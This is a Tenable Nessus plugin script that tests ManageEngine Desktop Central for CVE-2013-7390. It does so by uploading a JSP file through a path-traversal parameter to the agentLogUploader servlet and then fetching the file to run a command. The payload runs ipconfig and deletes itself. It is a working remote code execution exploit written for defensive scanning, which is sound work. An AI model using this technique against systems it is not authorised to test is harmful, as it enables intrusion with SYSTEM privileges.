ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(71217);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-7390");
  script_bugtraq_id(63784);
  script_xref(name:"EDB-ID", value:"29674");
  script_xref(name:"EDB-ID", value:"29812");
  script_xref(name:"EDB-ID", value:"34518");

  script_name(english:"ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)");
  script_summary(english:"Uploads a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a Java-based web application that is
affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of ManageEngine Desktop Central running on the remote host
is affected by a remote code execution vulnerability due to a failure
by the AgentLogUploadServlet script to properly sanitize user-supplied
input to the 'fileName' parameter. A remote, unauthenticated attacker
can exploit this to upload to the remote host files containing
arbitrary code and then execute them with NT-AUTHORITY\SYSTEM
privileges.

Note that this plugin tries to upload a JSP file to <DocumentRoot>
(i.e., C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\)
and then fetch it, thus executing the Java code in the JSP file. The
plugin attempts to delete the JSP file after a successful upload and
fetch. The user is advised to delete the JSP file if Nessus fails to
delete it.");
  # http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f57da24d");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/130");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/152");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ManageEngine Desktop Central 8 build 80293 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/10/30");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/12/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_desktop_central_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("installed_sw/ManageEngine Desktop Central");
  script_require_ports("Services/www", 8020, 8383, 8040);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

# ManageEngine Desktop Central (MEDC) server is known to be installed
# on Windows only.
# Skip non-Windows targets, but will continue if OS is not determined
os = get_kb_item("Host/OS");
if(os && "windows" >!< tolower(os))
  audit(AUDIT_OS_NOT, "Windows");

appname = "ManageEngine Desktop Central";
get_install_count(app_name:appname, exit_if_zero:TRUE);

port = get_http_port(default:8020);

install = get_single_install(
  app_name            : appname,
  port                : port
);

dir = install["path"];
install_url =  build_url(port:port, qs:dir);

file = SCRIPT_NAME - ".nasl" + '-' + port + ".jsp";

postdata =
  '<%@ page import="java.io.*" %>\n' +
  '<%\n' +
  'String output = "";\n' +
  'String s = null;\n' +
  '  try {\n' +
  '     Process p = Runtime.getRuntime().exec("cmd.exe /C ipconfig /all && del ..\\\\webapps\\\\DesktopCentral\\\\' + file + '");\n' +
  '      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));\n' +
         'while((s = sI.readLine()) != null) {\n' +
         '  output += "\\n"+ s;\n' +
         '}\n' +
      '}\n' +
      'catch(IOException e) {\n' +
      '   e.printStackTrace();\n' +
      '}\n' +
  '%>\n' +
  '\n' +
  '<pre>\n <%=output %>\n </pre>\n';


url = dir + "/agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=" + file;

res = http_send_recv3(
  port            : port,
  method          : "POST",
  item            : url,
  data            : postdata,
  content_type    : "text/html",
  exit_on_fail    : TRUE
);

# Vulnerable server should return 200
if(res[0] !~ "^HTTP/[0-9.]+ 200")
{
  # Patched server returns 403
  if (res[0] =~ "^HTTP/[0-9.]+ 403")
  {
    audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
  }
  # Unexpected
  else
  {
    audit(AUDIT_RESP_BAD, port, 'an agent log upload message, return HTTP status: ' + res[0]);
  }
}
req1 = http_last_sent_request();

# Try and access our uploaded file
res2 = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/" + file,
  exit_on_fail : TRUE
);

req2 = http_last_sent_request();

if ("Subnet Mask" >< res2[2])
{
  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    request    : make_list(req1,req2),
    output     : res2[2],
    generic    : TRUE
  );
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);